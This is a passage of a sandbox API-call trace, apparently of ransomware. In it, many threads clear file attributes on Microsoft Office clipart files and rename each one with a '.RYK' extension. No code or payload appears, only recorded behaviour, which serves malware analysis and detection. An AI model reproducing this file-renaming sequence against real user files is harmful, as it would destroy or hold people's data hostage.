	[0251.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3013
	os_tid = 0x34fc

	[0251.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF", dwFileAttributes=0x80) returned 0
	[0251.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.396] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3014
	os_tid = 0x3500

	[0251.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF", dwFileAttributes=0x80) returned 0
	[0251.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.414] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3015
	os_tid = 0x3504

	[0251.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF", dwFileAttributes=0x80) returned 0
	[0251.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.415] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3016
	os_tid = 0x3508

	[0251.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF", dwFileAttributes=0x80) returned 0
	[0251.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3017
	os_tid = 0x350c

	[0251.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF", dwFileAttributes=0x80) returned 0
	[0251.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.423] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3018
	os_tid = 0x3510

	[0251.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF", dwFileAttributes=0x80) returned 0
	[0251.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.424] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3047
	os_tid = 0x3588

	[0251.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF", dwFileAttributes=0x80) returned 0
	[0251.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3048
	os_tid = 0x358c

	[0251.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF", dwFileAttributes=0x80) returned 0
	[0251.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.732] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3049
	os_tid = 0x3590

	[0251.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF", dwFileAttributes=0x80) returned 0
	[0251.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.427] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3050
	os_tid = 0x3594

	[0251.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF", dwFileAttributes=0x80) returned 0
	[0251.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.733] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.733] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3051
	os_tid = 0x3598

	[0251.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF", dwFileAttributes=0x80) returned 0
	[0251.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.734] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3052
	os_tid = 0x359c

	[0251.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF", dwFileAttributes=0x80) returned 0
	[0251.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.735] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3053
	os_tid = 0x35a0

	[0251.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF", dwFileAttributes=0x80) returned 0
	[0251.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.736] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3054
	os_tid = 0x35a4

	[0251.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF", dwFileAttributes=0x80) returned 0
	[0251.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.737] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3055
	os_tid = 0x35a8

	[0251.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF", dwFileAttributes=0x80) returned 0
	[0251.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.738] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3056
	os_tid = 0x35ac

	[0251.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF", dwFileAttributes=0x80) returned 0
	[0251.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.738] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3057
	os_tid = 0x35b0

	[0251.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF", dwFileAttributes=0x80) returned 0
	[0251.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.437] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3058
	os_tid = 0x35b4

	[0251.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF", dwFileAttributes=0x80) returned 0
	[0251.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.739] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3059
	os_tid = 0x35b8

	[0251.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF", dwFileAttributes=0x80) returned 0
	[0251.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.740] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3060
	os_tid = 0x35bc

	[0251.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF", dwFileAttributes=0x80) returned 0
	[0251.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.741] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3061
	os_tid = 0x35c0

	[0251.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF", dwFileAttributes=0x80) returned 0
	[0251.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.742] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3062
	os_tid = 0x35c4

	[0251.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF", dwFileAttributes=0x80) returned 0
	[0251.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.743] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3063
	os_tid = 0x35c8

	[0251.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF", dwFileAttributes=0x80) returned 0
	[0251.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.815] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3124
	os_tid = 0x36c4

	[0251.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF", dwFileAttributes=0x80) returned 0
	[0251.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.816] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3125
	os_tid = 0x36c8

	[0251.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF", dwFileAttributes=0x80) returned 0
	[0251.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.818] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.818] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3126
	os_tid = 0x36cc

	[0251.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF", dwFileAttributes=0x80) returned 0
